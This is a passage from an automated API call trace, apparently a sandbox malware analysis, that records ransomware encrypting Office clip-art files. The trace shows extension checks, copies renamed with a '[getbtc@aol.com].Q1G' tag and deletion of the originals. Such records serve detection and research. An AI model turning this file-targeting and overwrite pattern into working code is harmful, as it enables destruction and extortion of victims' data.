out: lpNewFilePointer=0x0) returned 1 [0255.104] SetEndOfFile (hFile=0x3ec) returned 1 [0255.106] CloseHandle (hObject=0x3ec) returned 1 [0255.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0255.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.107] lstrlenW (lpString=".doc") returned 4 [0255.107] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.107] lstrlenW (lpString=".docx") returned 5 [0255.107] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0255.107] lstrlenW (lpString=".pdf") returned 4 [0255.107] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.108] lstrlenW (lpString=".xls") returned 4 [0255.108] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.108] lstrlenW (lpString=".xlsx") returned 5 [0255.108] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0255.108] lstrlenW (lpString=".ppt") returned 4 [0255.108] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.108] lstrlenW (lpString=".zip") returned 4 [0255.108] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.108] lstrlenW (lpString=".rar") returned 4 [0255.108] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.108] lstrlenW (lpString=".bz2") returned 4 [0255.108] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.108] lstrlenW (lpString=".7z") returned 3 [0255.108] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.108] lstrlenW (lpString=".dbf") returned 4 [0255.108] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.108] lstrlenW (lpString=".1cd") returned 4 [0255.108] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.108] lstrlenW (lpString=".jpg") returned 4 [0255.108] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.108] lstrlenW (lpString=".doc") returned 4 [0255.108] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.108] lstrlenW (lpString=".docx") returned 5 [0255.108] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0255.108] lstrlenW (lpString=".pdf") returned 4 [0255.108] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.108] lstrlenW (lpString=".xls") returned 4 [0255.108] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.108] lstrlenW (lpString=".xlsx") returned 5 [0255.108] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0255.109] lstrlenW (lpString=".ppt") returned 4 [0255.109] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.109] lstrlenW (lpString=".zip") returned 4 [0255.109] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.109] lstrlenW (lpString=".rar") returned 4 [0255.109] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.109] lstrlenW (lpString=".bz2") returned 4 [0255.109] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.109] lstrlenW (lpString=".7z") returned 3 [0255.109] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.109] lstrlenW (lpString=".dbf") returned 4 [0255.109] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.109] lstrlenW (lpString=".1cd") returned 4 [0255.109] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0255.109] lstrlenW (lpString=".jpg") returned 4 [0255.109] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.109] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0255.109] lstrlenW (lpString="J0099189.JPG") returned 12 [0255.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.181] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=8076) returned 1 [0255.182] CloseHandle (hObject=0x338) returned 1 [0255.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0255.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.183] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.183] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0255.184] GetLastError () returned 0x0 [0255.184] ReadFile (in: hFile=0x338, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1f8c, lpOverlapped=0x0) returned 1 [0255.185] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0255.186] ReadFile (in: hFile=0x338, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.186] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.186] SetEndOfFile (hFile=0x3d0) returned 1 [0255.187] CloseHandle (hObject=0x3d0) returned 1 [0255.187] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.187] SetEndOfFile (hFile=0x338) returned 1 [0255.189] CloseHandle (hObject=0x338) returned 1 [0255.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0255.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.189] lstrlenW (lpString=".doc") returned 4 [0255.189] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.190] lstrlenW (lpString=".docx") returned 5 [0255.190] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0255.190] lstrlenW (lpString=".pdf") returned 4 [0255.190] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.190] lstrlenW (lpString=".xls") returned 4 [0255.190] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.190] lstrlenW (lpString=".xlsx") returned 5 [0255.190] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0255.190] lstrlenW (lpString=".ppt") returned 4 [0255.190] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.190] lstrlenW (lpString=".zip") returned 4 [0255.190] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.190] lstrlenW (lpString=".rar") returned 4 [0255.190] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.190] lstrlenW (lpString=".bz2") returned 4 [0255.190] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.190] lstrlenW (lpString=".7z") returned 3 [0255.190] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.190] lstrlenW (lpString=".dbf") returned 4 [0255.190] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.190] lstrlenW (lpString=".1cd") returned 4 [0255.190] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.190] lstrlenW (lpString=".jpg") returned 4 [0255.190] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.191] lstrlenW (lpString=".doc") returned 4 [0255.191] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.191] lstrlenW (lpString=".docx") returned 5 [0255.191] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0255.191] lstrlenW (lpString=".pdf") returned 4 [0255.191] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.191] lstrlenW (lpString=".xls") returned 4 [0255.191] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.191] lstrlenW (lpString=".xlsx") returned 5 [0255.191] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0255.191] lstrlenW (lpString=".ppt") returned 4 [0255.191] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.191] lstrlenW (lpString=".zip") returned 4 [0255.191] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.191] lstrlenW (lpString=".rar") returned 4 [0255.191] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.191] lstrlenW (lpString=".bz2") returned 4 [0255.191] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.191] lstrlenW (lpString=".7z") returned 3 [0255.191] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.191] lstrlenW (lpString=".dbf") returned 4 [0255.191] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.191] lstrlenW (lpString=".1cd") returned 4 [0255.191] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0255.191] lstrlenW (lpString=".jpg") returned 4 [0255.191] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.191] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0255.192] lstrlenW (lpString="J0099191.JPG") returned 12 [0255.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.192] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=62367) returned 1 [0255.192] CloseHandle (hObject=0x338) returned 1 [0255.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20 [0255.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.192] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.193] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0255.193] GetLastError () returned 0x0 [0255.193] ReadFile (in: hFile=0x338, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xf39f, lpOverlapped=0x0) returned 1 [0255.196] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xf3a0, lpOverlapped=0x0) returned 1 [0255.197] ReadFile (in: hFile=0x338, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.197] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.197] SetEndOfFile (hFile=0x3d0) returned 1 [0255.198] CloseHandle (hObject=0x3d0) returned 1 [0255.198] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.198] SetEndOfFile (hFile=0x338) returned 1 [0255.201] CloseHandle (hObject=0x338) returned 1 [0255.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0255.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.427] lstrlenW (lpString=".doc") returned 4 [0255.427] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.428] lstrlenW (lpString=".docx") returned 5 [0255.428] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0255.428] lstrlenW (lpString=".pdf") returned 4 [0255.428] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.428] lstrlenW (lpString=".xls") returned 4 [0255.428] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.428] lstrlenW (lpString=".xlsx") returned 5 [0255.428] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0255.428] lstrlenW (lpString=".ppt") returned 4 [0255.428] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.428] lstrlenW (lpString=".zip") returned 4 [0255.428] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.428] lstrlenW (lpString=".rar") returned 4 [0255.428] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.428] lstrlenW (lpString=".bz2") returned 4 [0255.428] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.428] lstrlenW (lpString=".7z") returned 3 [0255.428] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.428] lstrlenW (lpString=".dbf") returned 4 [0255.428] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.428] lstrlenW (lpString=".1cd") returned 4 [0255.428] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.428] lstrlenW (lpString=".jpg") returned 4 [0255.428] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.428] lstrlenW (lpString=".doc") returned 4 [0255.428] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.428] lstrlenW (lpString=".docx") returned 5 [0255.428] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0255.428] lstrlenW (lpString=".pdf") returned 4 [0255.428] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.428] lstrlenW (lpString=".xls") returned 4 [0255.429] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.429] lstrlenW (lpString=".xlsx") returned 5 [0255.429] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0255.429] lstrlenW (lpString=".ppt") returned 4 [0255.429] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.429] lstrlenW (lpString=".zip") returned 4 [0255.429] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.429] lstrlenW (lpString=".rar") returned 4 [0255.429] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.429] lstrlenW (lpString=".bz2") returned 4 [0255.429] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.429] lstrlenW (lpString=".7z") returned 3 [0255.429] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.429] lstrlenW (lpString=".dbf") returned 4 [0255.429] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.429] lstrlenW (lpString=".1cd") returned 4 [0255.429] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0255.429] lstrlenW (lpString=".jpg") returned 4 [0255.429] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.429] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.429] lstrlenW (lpString="J0099203.GIF") returned 12 [0255.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.430] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3904) returned 1 [0255.430] CloseHandle (hObject=0x324) returned 1 [0255.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20 [0255.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.430] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.430] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.431] GetLastError () returned 0x0 [0255.431] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xf40, lpOverlapped=0x0) returned 1 [0255.449] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xf50, lpOverlapped=0x0) returned 1 [0255.449] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.449] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.450] SetEndOfFile (hFile=0x390) returned 1 [0255.450] CloseHandle (hObject=0x390) returned 1 [0255.450] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.450] SetEndOfFile (hFile=0x324) returned 1 [0255.452] CloseHandle (hObject=0x324) returned 1 [0255.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0255.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.455] lstrlenW (lpString=".doc") returned 4 [0255.455] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.455] lstrlenW (lpString=".docx") returned 5 [0255.455] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0255.455] 